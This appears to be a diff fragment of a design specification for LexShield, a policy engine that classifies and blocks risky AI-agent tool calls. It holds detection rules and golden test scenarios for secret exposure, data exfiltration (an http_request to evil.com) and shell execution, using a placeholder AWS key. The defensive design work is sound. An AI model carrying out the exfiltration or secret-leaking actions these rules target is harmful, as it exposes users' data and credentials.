Redaction pattern regression | +| `packages/engine-py/tests/test_classifiers.py` | Deterministic + LLM cassettes | +| `packages/engine-py/tests/conftest.py` | Shared fixtures; `LEXSHIELD_GOLDEN_DETERMINISTIC_ONLY=1` | + +#### `packages/cli` (Python Typer CLI — imports `lexshield`) + +| Path | Responsibility | +|------|----------------| +| `packages/cli/pyproject.toml` | CLI package; entry point `lexshield = lexshield_cli.main:app` | +| `packages/cli/src/lexshield_cli/main.py` | Typer app root; registers subcommands | +| `packages/cli/src/lexshield_cli/commands/init.py` | Scaffold `lexshield.yaml`, `policy.yaml`, `rules.yaml`, `.gitignore` | +| `packages/cli/src/lexshield_cli/commands/check.py` | Validate config + policy + taxonomy; `--strict` | +| `packages/cli/src/lexshield_cli/commands/evaluate.py` | Offline evaluate from flags or `--stdin` | +| `packages/cli/src/lexshield_cli/commands/run.py` | Start uvicorn FastAPI on `127.0.0.1:8787` | +| `packages/cli/src/lexshield_cli/commands/traces.py` | `list` / `show` over NDJSON trace file | +| `packages/cli/src/lexshield_cli/commands/challenge.py` | `list` / `approve` / `deny` local challenges | +| `packages/cli/src/lexshield_cli/commands/packs.py` | `list` / `apply` — copy from `packs/` | +| `packages/cli/tests/test_cli_check.py` | Snapshot/exit-code tests for `check` | +| `packages/cli/tests/test_cli_evaluate.py` | Exit codes + JSON stdout for `evaluate` | + +#### `packages/engine-ts` (`@latticeag/lexshield` — evaluate parity only) + +| Path | Responsibility | +|------|----------------| +| `packages/engine-ts/package.json` | npm package; `test:golden` script | +| `packages/engine-ts/src/index.ts` | Public exports | +| `packages/engine-ts/src/types.ts` | Zod-inferred types mirroring §19 JSON shapes | +| `packages/engine-ts/src/version.ts` | Package version | +| `packages/engine-ts/src/errors.ts` | TS equivalents of SDK exceptions | +| `packages/engine-ts/src/shield.ts` | `Shield.fromConfig`, `evaluate`, `guard` | +| `packages/engine-ts/src/policy/loader.ts` | YAML policy load + compile | +| `packages/engine-ts/src/policy/engine.ts` | `PolicyEngine.evaluate()` — must match Python | +| `packages/engine-ts/src/policy/expressions.ts` | Expression subset evaluator — must match Python | +| `packages/engine-ts/src/policy/glob.ts` | `fnmatch`-compatible glob (`*` only) | +| `packages/engine-ts/src/classifiers/deterministic.ts` | `rules.yaml` deterministic classify | +| `packages/engine-ts/src/classifiers/pipeline.ts` | Pipeline orchestration (LLM stub/skipped in golden CI) | +| `packages/engine-ts/src/redaction.ts` | Redaction helpers (parity with Python) | +| `packages/engine-ts/tests/golden.test.ts` | Vitest golden runner; same fixtures as Python | + +#### Repo-root shared assets (consumed by all packages) + +| Path | Responsibility | +|------|----------------| +| `schemas/*.schema.json` | JSON Schema for Policy, ToolCallRequest, Verdict, Trace | +| `packs/*/policy.yaml` | Shipped policy packs (Appendix A) | +| `packs/*/rules.yaml` | Pack deterministic rules | +| `fixtures/golden//` | Shared golden scenarios (§9B.8) | +| `pyproject.toml` | uv workspace root; `pytest` + `ruff` config | + +--- + +### 9B.2 PolicyEngine algorithm + +`PolicyEngine.evaluate(request, classifications)` — numbered pseudocode. Implements §9.2.A rule match + §12.2 semantics. + +``` +1. START timer +2. IF classifications is empty: + RETURN Verdict(decision=defaultVerdict or BLOCK, + reason="No classification; fail closed", + matchedRuleId=null) +3. primary ← merge_classifications(classifications) // §9B.6 severity merge +4. IF primary.intent == "unknown.unclassified": + // still evaluate rules — some rules may match on tools/env only + PASS +5. enabled_rules ← [r for r in policy.rules if r.enabled != false] +6. sorted_rules ← SORT enabled_rules BY priority DESC, then id ASC // §9.2.A tie-break +7. matching ← [] +8. FOR EACH rule IN sorted_rules: + IF rule_matches(rule.match, request, primary, classifications): + APPEND rule TO matching +9. IF matching is not empty: + winner ← matching[0] // highest priority already first + challenge_id ← null + IF winner.verdict == CHALLENGE or winner.verdict == DEFER: + challenge_id ← create_challenge(winner.challenge, request) // side effect + RETURN Verdict( + decision = winner.verdict, + matchedRuleId = winner.id, + reason = winner.reason, + classifications = classifications, + challengeId = challenge_id, + durationMs = elapsed, + policyVersion = policy.version, + ) +10. RETURN Verdict( + decision = policy.defaultVerdict, + matchedRuleId = null, + reason = f"No rule matched; default verdict {policy.defaultVerdict}", + classifications = classifications, + durationMs = elapsed, + policyVersion = policy.version, + ) + +SUBROUTINE rule_matches(match, request, primary, classifications): + IF match.minConfidence is set AND primary.confidence < match.minConfidence: + RETURN false + IF match.intents is set AND NOT intent_field_matches(match.intents, primary, classifications): + RETURN false + IF match.tools is set AND NOT any(glob_match(g, request.tool.name) for g in match.tools): + RETURN false + IF match.callers is set AND request.caller.id not in match.callers: + RETURN false + IF match.roles is set AND NOT intersection(request.caller.roles, match.roles): + RETURN false + IF match.environments is set AND request.context.environment not in match.environments: + RETURN false + IF match.tags is set AND NOT tags_field_matches(match.tags, request.context.tags): + RETURN false + IF match.expression is set AND NOT compiled_expression.evaluate(bindings(request, primary)): + RETURN false + RETURN true +``` + +**Bindings for expressions** (frozen): `intent`, `confidence`, `tool.name`, `tool.namespace` (empty string if absent), `caller.id`, `caller.type`, `caller.roles` (list), `env` (alias for `context.environment`, empty string if absent), `tags.`, `args.` (string/number/bool only; missing → empty string). + +--- + +### 9B.3 Rule matching contract + +**Global rule:** All **present** `match` fields must succeed (**AND**). Omitted fields are wildcards (always pass). + +**Priority:** Among rules that match, **highest `priority` wins**. Tie-break: **lexicographic `rule.id` ascending** (lower id wins when priorities equal). + +#### Per-field semantics + +| Field | Semantics | AND/OR | Examples | +|-------|-----------|--------|----------| +| `intents` | **OR** within list. Matches if **primary intent** ∈ list **OR** any **alternative** intent ∈ list with confidence ≥ `policy.severity_threshold.alternatives_min_confidence` (default **0.4**). | OR in list; AND with other fields | `intents: ["data.exfiltrate", "security.secret_exposure"]` matches primary `security.secret_exposure` | +| `tools` | **OR** within list. Each entry is a glob (§9B.5). Match `request.tool.name`. | OR in list | `tools: ["send_*", "post_*"]` matches `send_email` | +| `callers` | **OR** within list. Exact string match on `caller.id`. | OR in list | `callers: ["agent-1", "svc-ci"]` | +| `roles` | **OR** within list. Match if **any** `caller.roles` element equals **any** list entry. Missing `caller.roles` → field fails if present. | OR in list; OR across caller roles | `roles: ["admin", "platform"]` | +| `environments` | **OR** within list. Exact match on `context.environment`. Missing env → field fails if present. | OR in list | `environments: ["production"]` | +| `tags` | **AND** across keys; **OR** within each key's value list. Request tag value must equal **one of** the allowed values for that key. Missing key → field fails. | AND keys, OR values | `tags: { data_class: ["pii"], region: ["us"] }` | +| `minConfidence` | Single threshold on **primary** intent confidence after classifier merge. | AND with others | `minConfidence: 0.7` blocks match when primary confidence is 0.65 | +| `expression` | Boolean over bindings (§9B.4). Compiled at load; evaluate at runtime. | AND with others | `env == "production" && args.url contains "internal"` | + +#### Worked examples (baseline-deny pack) + +| Request summary | Matching fields | Result rule | +|-----------------|-----------------|-------------| +| `health_check`, intent `network.request.health` | `tools` + `intents` | `allow-health` (priority 100) | +| `delete_resource`, env `production`, intent `infra.delete.resource` | `environments` + `intents` | `challenge-delete-prod` (200) | +| `send_email` + AWS key in body → `security.secret_exposure` | `intents` only | `block-secret-exposure` (300) | +| `unknown_tool`, intent `unknown.unclassified` | none | default `BLOCK`, `matchedRuleId: null` | + +--- + +### 9B.4 Expression grammar + +Frozen subset per §9.5. No function calls except `startsWith`, `contains`, `matches`, and `in`. + +#### EBNF + +```ebnf +expression = or_expr ; +or_expr = and_expr { "||" and_expr } ; +and_expr = unary_expr { "&&" unary_expr } ; +unary_expr = "!" unary_expr | comparison ; +comparison = additive [ comp_op additive ] ; +comp_op = "==" | "!=" | ">=" | "<=" | ">" | "<" | "in" ; +additive = primary ; (* no + - in v0.1 *) +primary = literal | identifier | member | call | "(" expression ")" ; +member = identifier { "." identifier } ; +call = identifier "(" argument { "," argument } ")" ; +argument = expression | string_literal ; +identifier = letter { letter | digit | "_" } ; +literal = string_literal | number_literal | "true" | "false" ; +string_literal = '"' { character } '"' | "'" { character } "'" ; +``` + +**Member paths allowed:** `intent`, `confidence`, `tool.name`, `tool.namespace`, `caller.id`, `caller.type`, `caller.roles`, `env`, `tags.`, `args.`. + +**Calls allowed:** `startsWith(haystack, prefix)`, `contains(haystack, needle)`, `matches(haystack, pattern)` (Python `re` with RE2-ish patterns; compile at load), `needle in list` via `in` operator only. + +**Types:** strings compared as strings; numbers as floats; `in` right-hand side must be literal list of strings/numbers. + +#### Ten example expressions (expected truth) + +Assume bindings unless noted: `intent="comms.send.email"`, `confidence=0.85`, `tool.name="send_email"`, `caller.id="agent-1"`, `caller.type="agent"`, `caller.roles=["support"]`, `env="production"`, `tags.data_class="pii"`, `args.to="user@gmail.com"`, `args.url="https://api.mycompany.com/v1"`. + +| # | Expression | Expected | +|---|------------|----------| +| 1 | `env == "production"` | **true** | +| 2 | `env == "staging"` | **false** | +| 3 | `confidence >= 0.9` | **false** (0.85) | +| 4 | `intent == "comms.send.email" && tags.data_class == "pii"` | **true** | +| 5 | `args.to contains "@gmail.com"` | **true** | +| 6 | `args.to startsWith "admin@"` | **false** | +| 7 | `caller.id in ["agent-1", "agent-2"]` | **true** | +| 8 | `!(args.url startsWith "https://api.mycompany.com/")` | **false** | +| 9 | `matches(args.to, ".*@personal\\.com$")` with `args.to="a@personal.com"` | **true** | +| 10 | `tool.name == "http_request" && env == "production"` | **false** (`tool.name` is `send_email`) | + +--- + +### 9B.5 Glob semantics + +**Recommendation (locked for v0.1):** Use Python `fnmatch.fnmatchcase(tool_name, pattern)` — **`*` wildcard only**. No `**`, `?`, `[...]`, or regex in tool globs. + +| Pattern | Matches | Does not match | +|---------|---------|----------------| +| `send_*` | `send_email`, `send_slack`, `send_*` (literal asterisk segment) | `resend_email`, `send` | +| `db.*` | **Only** if tool name contains a literal dot: `db.query`, `db.users` | `db_query`, `db` | +| `health_check` | exact `health_check` | `health_check_v2` | +| `*` | any tool name | — | + +**Compilation:** At policy load, normalize patterns (reject `?` `[` `]` with `check` error). Store pre-parsed patterns per rule. + +**Namespace:** v0.1 matches `tool.name` only; `tool.namespace` is for expressions, not glob field. + +--- + +### 9B.6 Classifier pipeline + +#### Flowchart (mermaid) + +```mermaid +flowchart TD + A[ToolCallRequest] --> B[Redact args for classify path] + B --> C[DeterministicClassifier] + C --> D{Pattern or tool_map hit?} + D -->|yes| E[det Classification] + D -->|no| F[det = null] + E --> G{det.confidence >= 0.90?} + G -->|yes| M[Merge / severity pick primary] + G -->|no| H{LLM available?} + F --> H + H -->|no| I[primary = unknown.unclassified conf 0.3] + H -->|yes| J[LLMClassifier 2000ms timeout] + J --> K{LLM result?} + K -->|yes| L[Append llm Classification] + K -->|no| I + L --> M + I --> M + M --> N[PolicyEngine.evaluate] +``` + +#### Confidence thresholds (locked) + +| Stage | Threshold | Behavior | +|-------|-----------|----------| +| Deterministic pattern hit | 0.90–0.99 (from `rules.yaml`) | Use value from rule; patterns ship at 0.98 | +| Deterministic tool_map only | **0.70** | Fixed | +| Skip LLM | **≥ 0.90** on deterministic primary | Do not call LLM | +| LLM valid response | model-provided 0..1 | Append as second classification | +| Total failure | **0.30** on `unknown.unclassified` | Fail-closed policy path | + +#### Severity merge table (primary intent selection) + +When multiple classifications exist, pick **highest severity** intent as primary for policy matching. Severity from Appendix B (abbreviated): + +| Intent | Severity | +|--------|----------| +| `network.request.health` | 5 | +| `data.read.public` | 10 | +| `data.read.internal` | 25 | +| `comms.send.slack` | 40 | +| `data.query.sql` | 40 | +| `data.write.record` | 45 | +| `comms.send.email` | 50 | +| `unknown.unclassified` | 50 | +| `code.write.repo` | 50 | +| `network.request.http` | 55 | +| `data.read.pii` | 60 | +| `infra.provision.resource` | 60 | +| `infra.mutate.resource` | 65 | +| `comms.send.external` | 70 | +| `data.delete.record` | 75 | +| `finance.charge.create` | 80 | +| `infra.delete.resource` | 85 | +| `identity.permission.grant` | 85 | +| `code.execute.shell` | 88 | +| `finance.transfer.create` | 90 | +| `identity.auth.impersonate` | 90 | +| `data.exfiltrate` | 95 | +| `security.secret_exposure` | 98 | + +**Merge algorithm:** `primary = argmax(classifications, key=severity(intent))`; ties → higher `confidence`; still tied → deterministic classifier wins over LLM. All inputs remain in `verdict.classifications[]`. + +--- + +### 9B.7 Shield.evaluate() sequence + +Numbered steps from public API call through trace write (Python SDK; API and CLI call the same path). + +``` + 1. API entry: shield.evaluate(tool, arguments, caller, context, request_id?) + OR FastAPI POST /v1/shields/{id}/evaluate + OR CLI lexshield evaluate + 2. Generate request_id ← argument or ulid.new() + 3. Merge session contextvars (conversation_id, environment, tags) into context + 4. Build ToolCallRequest { id, shieldId, timestamp UTC ISO, caller, tool, arguments, context } + 5. START perf timer + 6. Redact copy of arguments for classification (secrets → placeholders; emails per config) + 7. AWAIT classifier_pipeline.classify(request) + 8. Merge classifications → primary intent (§9B.6) + 9. policy_engine.evaluate(request, classifications) → Verdict +10. SET verdict.requestId, verdict.durationMs from timer +11. IF verdict.decision in (CHALLENGE, DEFER): + persist ChallengeRecord to challenge_store; SET verdict.challengeId +12. Build Trace { id=request_id, request with arguments_redacted, classifications, verdict, outcome stub } +13. IF trace sink configured: + ENQUEUE async NDJSON write (non-blocking; drop-on-overflow with metric) +14. RETURN verdict to caller (decorator may raise LexShieldBlockedError / LexShieldChallengeError) +``` + +**Not in evaluate:** tool execution, proxy forward (that is `/execute` only after ALLOW). + +--- + +### 9B.8 Golden fixture contract + +#### File layout (per scenario) + +``` +fixtures/golden// + request.json # ToolCallRequest (required) + policy-ref.yaml # Pack pointer or inline policy (required) + expected.json # Verdict subset to assert (required) + rules-ref.yaml # Optional; overrides deterministic rules path +``` + +**Naming:** `{decision}-{behavior}` kebab-case, e.g. `block-secret-exposure`, `allow-health`. + +#### `policy-ref.yaml` shape + +```yaml +pack: baseline-deny # informational +policy: ../../../packs/baseline-deny/policy.yaml # required path +rules: ../../../packs/baseline-deny/rules.yaml # required unless rules-ref.yaml present +``` + +#### Runner behavior (Python `test_golden.py` + TS `golden.test.ts`) + +1. Discover all subdirectories under `fixtures/golden/` containing `request.json` + `expected.json`. +2. Load `policy-ref.yaml`; resolve `policy` and `rules` paths relative to scenario dir. +3. Construct `Shield` / `PolicyEngine` + `ClassifierPipeline` with **deterministic classifier only** when `LEXSHIELD_GOLDEN_DETERMINISTIC_ONLY=1` (default in CI). +4. Parse `request.json` → `ToolCallRequest`. +5. Run full `evaluate` path (classify → policy). +6. Compare **exact** fields from `expected.json`: + +| Field | Compared | Notes | +|-------|----------|-------| +| `decision` | **yes** | `ALLOW` \| `BLOCK` \| `CHALLENGE` \| `DEFER` | +| `matchedRuleId` | **yes** | Use JSON `null` when expect no rule match | +| `reason` | **yes** | Exact string from winning rule or default message | +| `primaryIntent` | **yes** | Primary after merge | +| `durationMs` | no | Ignored unless `expected.json` has `"strict": true` | +| `challengeId` | no | Ignored in CI unless strict | +| `classifications` | no | Unless strict | + +7. On mismatch: fail test with diff of actual vs expected. +8. **Deterministic-only CI rule:** CI sets `LEXSHIELD_GOLDEN_DETERMINISTIC_ONLY=1`; no live LLM. LLM-specific scenarios live under `fixtures/golden-llm/` (optional, cassette-only) and are **excluded** from v0.1 parity gate. + +**Target:** ≥ **50** scenarios for `v0.1.0`; ≥ **20** named in §9B.9 matrix must exist before tag. + +--- + +### 9B.9 Golden test matrix + +Normative scenarios for v0.1. All use **baseline-deny**, **pii-guard**, or **change-window** packs unless noted. Expected `matchedRuleId` uses pack rule ids from Appendix A. + +| # | Scenario directory | Pack | Request gist | Expected decision | Expected rule id | +|---|------------------|------|--------------|-------------------|------------------| +| 1 | `allow-health` | baseline-deny | `health_check`, intent via tool_map | ALLOW | `allow-health` | +| 2 | `allow-ping` | baseline-deny | `ping` | ALLOW | `allow-health` | +| 3 | `block-secret-exposure` | baseline-deny | `send_email` + AWS key in body | BLOCK | `block-secret-exposure` | +| 4 | `block-openai-key` | baseline-deny | `write_file` + `sk-proj-...` in content | BLOCK | `block-secret-exposure` | +| 5 | `block-exfil-intent` | baseline-deny | intent `data.exfiltrate` (fixture forces via rules override) | BLOCK | `block-exfil` | +| 6 | `challenge-delete-prod` | baseline-deny | `delete_resource`, env `production` | CHALLENGE | `challenge-delete-prod` | +| 7 | `block-delete-staging-default` | baseline-deny | `delete_resource`, env `staging`, no allow rule | BLOCK | *(null — defaultVerdict)* | +| 8 | `block-unknown-tool` | baseline-deny | `totally_unknown_tool` | BLOCK | *(null)* | +| 9 | `block-unclassified-low-conf` | baseline-deny | empty args, unknown tool | BLOCK | *(null)* | +| 10 | `allow-health-prod` | baseline-deny | `health_check`, env `production` | ALLOW | `allow-health` | +| 11 | `block-secret-beats-challenge` | baseline-deny | `delete_resource` prod + secret in args | BLOCK | `block-secret-exposure` | +| 12 | `priority-secret-over-exfil` | baseline-deny | both intents match; higher priority wins | BLOCK | `block-secret-exposure` | +| 13 | `challenge-pii-email` | pii-guard | `send_email`, tag `data_class=pii` | CHALLENGE | `challenge-pii-email` | +| 14 | `block-http-non-allowlist` | pii-guard | `http_request` to `https://evil.com` | BLOCK | `block-http-non-allowlist` | +| 15 | `allow-http-allowlist` | pii-guard | `http_request` to `https://api.mycompany.com/x` | BLOCK | *(null — default deny)* | +| 16 | `allow-infra-with-ticket` | change-window | `update_resource` prod + `change_ticket=INC-1` | ALLOW | `allow-infra-with-ticket` | +| 17 | `challenge-infra-prod-no-ticket` | change-window | `create_resource`, env `production` | CHALLENGE | `challenge-infra-prod` | +| 18 | `block-finance-transfer` | baseline-deny | `transfer_funds` tool_map intent | BLOCK | *(null)* | +| 19 | `block-shell-exec` | baseline-deny | `run_shell` | BLOCK | *(null)* | +| 20 | `min-confidence-blocks-weak` | custom inline policy | rule `minConfidence: 0.95`, primary 0.7 | BLOCK | *(null)* | +| 21 | `tool-glob-send-wildcard` | custom inline | rule `tools: ["send_*"]` + `send_slack` | ALLOW | `allow-send-tools` | +| 22 | `caller-id-match` | custom inline | `callers: ["ci-bot"]` | ALLOW | `allow-ci` | +| 23 | `role-admin-allow` | custom inline | `roles: ["admin"]` on caller | ALLOW | `allow-admin` | +| 24 | `expression-env-prod` | custom inline | `expression: env == "production"` | CHALLENGE | `expr-prod-challenge` | +| 25 | `defers-verdict` | custom inline | rule verdict `DEFER` | DEFER | `defer-review` | +| 26 | `disabled-rule-skipped` | custom inline | `enabled: false` on ALLOW rule | BLOCK | *(null)* | +| 27 | `tie-priority-by-rule-id` | custom inline | two rules priority 200; lower id wins | BLOCK | `aaa-block` | + +Rows 15, 20–27 use minimal inline `policy:` in `policy-ref.yaml` where the shipped pack alone is insufficient. + +--- + +### 9B.10 CLI I/O spec + +All commands: `lexshield [--config|-c PATH] `. Default config `./lexshield.yaml`. Global `--help` exits 0. + +#### `lexshield init` + +| Flag | Type | Default | Description | +|------|------|---------|-------------| +| `--pack` | choice | `baseline-deny` | `baseline-deny` \| `pii-guard` \| `change-window` | +| `--force` | bool | false | Overwrite existing files | + +| Stream | Behavior | +|--------|----------| +| stdout | Lists created files: `lexshield.yaml`, `policy.yaml`, `rules.yaml`, `.gitignore` snippets | +| stderr | Warnings if files skipped (no `--force`) | +| exit 0 | Success | +| exit 1 | Cwd not writable or pack unknown | +| exit 2 | Partial write failure | + +#### `lexshield check` + +| Flag | Type | Default | Description | +|------|------|---------|-------------| +| `-c, --config` | path | `lexshield.yaml` | Config file (must exist) | +| `--strict` | bool | false | Unknown fields → error; `defaultVerdict: ALLOW` → error | + +| Stream | Behavior | +|--------|----------| +| stdout | `rules: N`, `intents referenced: [...]`, warnings list | +| stderr | Errors only | +| exit 0 | Valid | +| exit 1 | Validation errors | +| exit 2 | Config file missing | + +#### `lexshield evaluate` + +| Flag | Type | Default | Description | +|------|------|---------|-------------| +| `--tool` | string | — | Tool name (required unless `--stdin`) | +| `--args` | JSON string | `{}` | Tool arguments | +| `--caller` | string | `anonymous` | Caller id | +| `--caller-type` | choice | `agent` | `user` \| `agent` \| `service_account` | +| `--env` | string | — | Sets `context.environment` | +| `--stdin` | bool | false | Read full `ToolCallRequest` JSON | +| `--json` | bool | false | Machine-readable verdict on stdout | +| `-c, --config` | path | `lexshield.yaml` | Config path | + +| Stream | Behavior | +|--------|----------| +| stdout (`--json`) | Single JSON object: Verdict (camelCase aliases) | +| stdout (TTY) | Colorized: `ALLOW` green, `BLOCK` red, `CHALLENGE` yellow + reason + rule id | +| stderr | Config/load errors | +| exit 0 | Evaluate completed (any verdict) | +| exit 1 | Bad args JSON, missing `--tool`, config error | +| exit 3 | Reserved: internal engine panic (should not happen) | + +**Note:** Exit code does **not** reflect BLOCK vs ALLOW — use `--json` + `jq` in CI scripts. + +#### `lexshield run` (reference) + +| exit 0 | Server started | +| exit 1 | Bind refused / policy load failed | +| exit 2 | `--host 0.0.0.0` without `--i-understand-bind-all` | + +--- + +### 9B.11 FastAPI contracts + +Base URL: `http://127.0.0.1:8787`. Auth: if `LEXSHIELD_LOCAL_TOKEN` set, require `Authorization: Bearer ` else **401**. + +#### `POST /v1/shields/{shield_id}/evaluate` — success (200) + +Request: + +```json +{ + "caller": { "id": "agent-1", "type": "agent", "roles": ["support"] }, + "tool": { "name": "send_email" }, + "arguments": { + "to": "user@example.com", + "subject": "Hello", + "body": "AKIAIOSFODNN7EXAMPLE" + }, + "context": { "environment": "production" } +} +``` + +Response (200): + +```json +{ + "requestId": "01J8ZQXAMPLEEVAL0001", + "decision": "BLOCK", + "matchedRuleId": "block-secret-exposure", + "reason": "Possible secret exposure in tool arguments", + "classifications": [ + { + "intent": "security.secret_exposure", + "confidence": 0.98, + "alternatives": [], + "classifier": "deterministic:v1" + } + ], + "durationMs": 2.4, + "policyVersion": "1" +} +``` + +#### `POST /v1/shields/{shield_id}/execute` — denied (403) + +Same body as evaluate. When verdict ≠ `ALLOW`: + +```json +{ + "detail": { + "error": "lexshield_blocked", + "verdict": "BLOCK", + "reason": "Possible secret exposure in tool arguments", + "request_id": "01J8ZQXAMPLEEVAL0001", + "matched_rule_id": "block-secret-exposure", + "retryable": false + } +} +``` + +**CHALLENGE** uses `"error": "lexshield_challenged"`; **DEFER** uses `"error": "lexshield_deferred"`. Field names in `detail` use **snake_case** per §9.7 (HTTP layer); SDK JSON uses camelCase aliases. + +#### Other status codes + +| Code | When | +|------|------| +| 400 | Malformed `ToolCallRequest` body | +| 401 | Missing/invalid Bearer token | +| 404 | `shield_id` not loaded | +| 502 | Proxy upstream failure after ALLOW | + +--- + +### 9B.12 `lexshield.yaml` — every field + +| Field | Type | Default | Description | +|-------|------|---------|-------------| +| `version` | int | **required** `1` | Config schema version | +| `shield.id` | string | `local` | Shield identifier; must match API `{shield_id}` | +| `shield.name` | string | `local-shield` | Display name | +| `shield.policy` | path | `./policy.yaml` | Policy file relative to config dir | +| `shield.taxonomy` | path | built-in | Optional `taxonomy.yaml`; else use `taxonomy/builtin.py` | +| `shield.classifiers` | list | `[{type: deterministic, path: ./rules.yaml}]` | Ordered classifier configs | +| `shield.classifiers[].type` | enum | — | `deterministic` \| `llm` | +| `shield.classifiers[].path` | path | — | For `deterministic`: `rules.yaml` path | +| `shield.classifiers[].model` | string | `openai:gpt-4o-mini` | LLM model id | +| `shield.classifiers[].base_url_env` | string | `OPENAI_BASE_URL` | Env var for API base | +| `shield.classifiers[].api_key_env` | string | `OPENAI_API_KEY` | Env var for API key | +| `shield.classifiers[].timeout_ms` | int | `2000` | LLM hard timeout | +| `shield.classifiers[].redact` | bool | `true` | Redact args before LLM | +| `shield.fail_on_classifier_error` | enum | `BLOCK` | `BLOCK` \| `CHALLENGE` \| `ALLOW` (warn on ALLOW) | +| `shield.expose_rule_ids` | bool | `true` | Include rule ids in agent-facing errors | +| `shield.redact.emails` | enum | `hash` | `hash` \| `redact` \| `off` — trace + LLM behavior | +| `shield.trace_arguments` | enum | `redacted` | `redacted` \| `hash` \| `full` | +| `shield.sinks` | list | `[{type: stdout}]` | Trace sinks | +| `shield.sinks[].type` | enum | — | `stdout` \| `file` \| `http` \| `otlp` | +| `shield.sinks[].path` | path | `./traces.ndjson` | For `file` sink | +| `shield.sinks[].url` | string | — | For `http` / `otlp` | +| `shield.proxy.enabled` | bool | `false` | Enable `/execute` forwarding | +| `shield.proxy.upstreams` | map | `{}` | Tool name → upstream config | +| `shield.proxy.upstreams..url` | string | — | Forward URL (required if tool listed) | +| `shield.proxy.upstreams..timeoutMs` | int | `5000` | Upstream HTTP timeout | +| `shield.proxy.upstreams..headers` | map | `{}` | Extra headers | +| `server.host` | string | `127.0.0.1` | Bind address | +| `server.port` | int | `8787` | Bind port | +| `server.token_env` | string | `LEXSHIELD_LOCAL_TOKEN` | Env var name for API token | + +--- + +### 9B.13 Development commands + +From repository root: + +```bash +# Install Python workspace (engine + CLI) +uv sync + +# Lint Python +uv run ruff check packages/engine-py packages/cli + +# Unit + golden tests (deterministic only) +LEXSHIELD_GOLDEN_DETERMINISTIC_ONLY=1 uv run pytest packages/engine-py packages/cli -q + +# TypeScript engine +pnpm install +pnpm --filter @latticeag/lexshield test +pnpm --filter @latticeag/lexshield test:golden + +# Policy validation (offline, no server) +uv run lexshield check -c examples/python-block-exfil/lexshield.yaml +uv run lexshield check --strict + +# One-shot evaluate +uv run lexshield evaluate --tool health_check --args '{}' -c lexshield.yaml +uv run lexshield evaluate --tool send_email --args '{"body":"AKIAIOSFODNN7EXAMPLE"}' --json + +# Start local API +uv run lexshield run --host 127.0.0.1 --port 8787 +``` + +**CI minimum:** `uv sync` → `ruff` → `pytest` with golden → `pnpm test:golden` → `lexshield check --strict` on all packs. + +--- + +### 9B.14 Implementation phases (M1–M6) + +File-level deliverables per milestone. Scope authority: [§9](#9-v01-feature-freeze-specific). + +#### M1 — Policy engine + deterministic classifier + +| Deliverable | Files | +|-------------|-------| +| Policy load + strict mode | `policy/loader.py`, `config/loader.py` | +| Glob matcher | `policy/glob.py` | +| Expression parser | `policy/expressions.py` | +| Full `PolicyEngine.evaluate` | `policy/engine.py` | +| Deterministic classifier complete | `classifiers/deterministic.py` | +| Severity merge | `classifiers/severity.py`, `taxonomy/builtin.py` | +| Golden runner + 10 scenarios | `tests/test_golden.py`, `fixtures/golden/*` | +| CLI `check` real validation | `commands/check.py` | + +**Exit:** `pytest test_golden` green for scenarios 1–10; `lexshield check` on packs exits 0. + +#### M2 — Python SDK + local API + +| Deliverable | Files | +|-------------|-------| +| `Shield.evaluate` wired end-to-end | `shield.py` | +| `@shield.guard` + exceptions | `shield.py`, `errors.py` | +| Redaction | `redaction.py` | +| FastAPI `/evaluate`, `/healthz`, `/readyz` | `server/app.py` | +| Trace NDJSON sink | `traces/sink.py` | +| Block exfil demo | `examples/python-block-exfil/` | + +**Exit:** Demo 1 (block exfil) runs deterministic-only. + +#### M3 — LLM classifier + taxonomy + +| Deliverable | Files | +|-------------|-------| +| LLM classifier + timeout | `classifiers/llm.py` | +| Pipeline merge | `classifiers/pipeline.py` | +| VCR cassette tests | `tests/test_classifiers.py`, `tests/cassettes/` | +| Fingerprint cache (optional M3) | `classifiers/cache.py` | + +**Exit:** Cassette tests pass; no live key in CI. + +#### M4 — CLI + traces + challenges + +| Deliverable | Files | +|-------------|-------| +| `init`, `evaluate`, `run` complete | `commands/init.py`, `evaluate.py`, `run.py` | +| `traces list/show` | `commands/traces.py` | +| Challenge store + CLI | `challenges/store.py`, `commands/challenge.py` | +| API challenge routes | `server/app.py` | +| Golden scenarios 11–20 | `fixtures/golden/*` | + +**Exit:** 5-minute quickstart (README) verified offline. + +#### M5 — TypeScript SDK + proxy + +| Deliverable | Files | +|-------------|-------| +| TS policy engine parity | `engine-ts/src/policy/*` | +| TS shield + guard | `engine-ts/src/shield.ts` | +| Golden 100% match | `engine-ts/tests/golden.test.ts` | +| Proxy execute | `server/proxy.py`, `/execute` in `app.py` | +| `examples/ts-evaluate` | `examples/ts-evaluate/` | + +**Exit:** `pnpm test:golden` matches Python on all deterministic fixtures. + +#### M6 — Docs, packs, polish + +| Deliverable | Files | +|-------------|-------| +| 3 packs finalized | `packs/*` | +| 3 demos runnable | `examples/*` | +| Golden ≥ 50 scenarios | `fixtures/golden/*` | +| Docs | `docs/*.md`, README | +| CI example | `.github/workflows/lexshield-check.example.yml` | +| Appendix D checklist green | — | + +**Exit:** Tag `v0.1.0` on PyPI + npm. + +--- + +### 9B.15 TypeScript parity rules + +TypeScript (`@latticeag/lexshield`) must match Python on shared deterministic paths: + +| Area | Must match bit-for-bit | +|------|------------------------| +| Golden `decision` | Yes — exact enum string | +| Golden `matchedRuleId` | Yes — including JSON `null` | +| Golden `reason` | Yes — exact string | +| Golden `primaryIntent` | Yes — after same merge algorithm | +| Rule priority + tie-break | Yes — same winner rule | +| Glob `fnmatch` `*` semantics | Yes — same match results for all fixture tool names | +| Expression truth | Yes — all §9B.4 examples + every expression in packs | +| `unknown.unclassified` fallback | Yes — same confidence 0.3 when no det hit | +| Deterministic confidences | Yes — tool_map 0.7, pattern from yaml | +| `defaultVerdict` when no match | Yes | +| JSON field aliases | camelCase in serialized Verdict (`requestId`, `matchedRuleId`, …) | + +| Area | May differ | +|------|------------| +| `durationMs` | Floating timing — not compared in golden | +| `challengeId` | ULID generation timing | +| LLM classifications | TS may skip LLM in v0.1; not in golden CI | +| Internal class names | — | +| CLI / FastAPI / challenge file store | TS not required (HTTP client optional) | + +**Process:** Any change to `policy/engine.py`, `expressions.py`, `glob.py`, or `severity.py` requires synchronized TS edit + golden run in the same PR. + +--- + +## 10. Intent Taxonomy -### 9.1 Design Recommendations (confident) +### 10.1 Design Recommendations (confident) 1. **Hierarchical, dot-namespaced intents**: `data.read.pii`, `infra.delete.resource`, `comms.send.external`. 2. **Separate “benign” and “abuse” intents** where useful: `http.fetch` vs `data.exfiltrate` — abuse intents are assigned when signals suggest malice/sensitivity mismatch. @@ 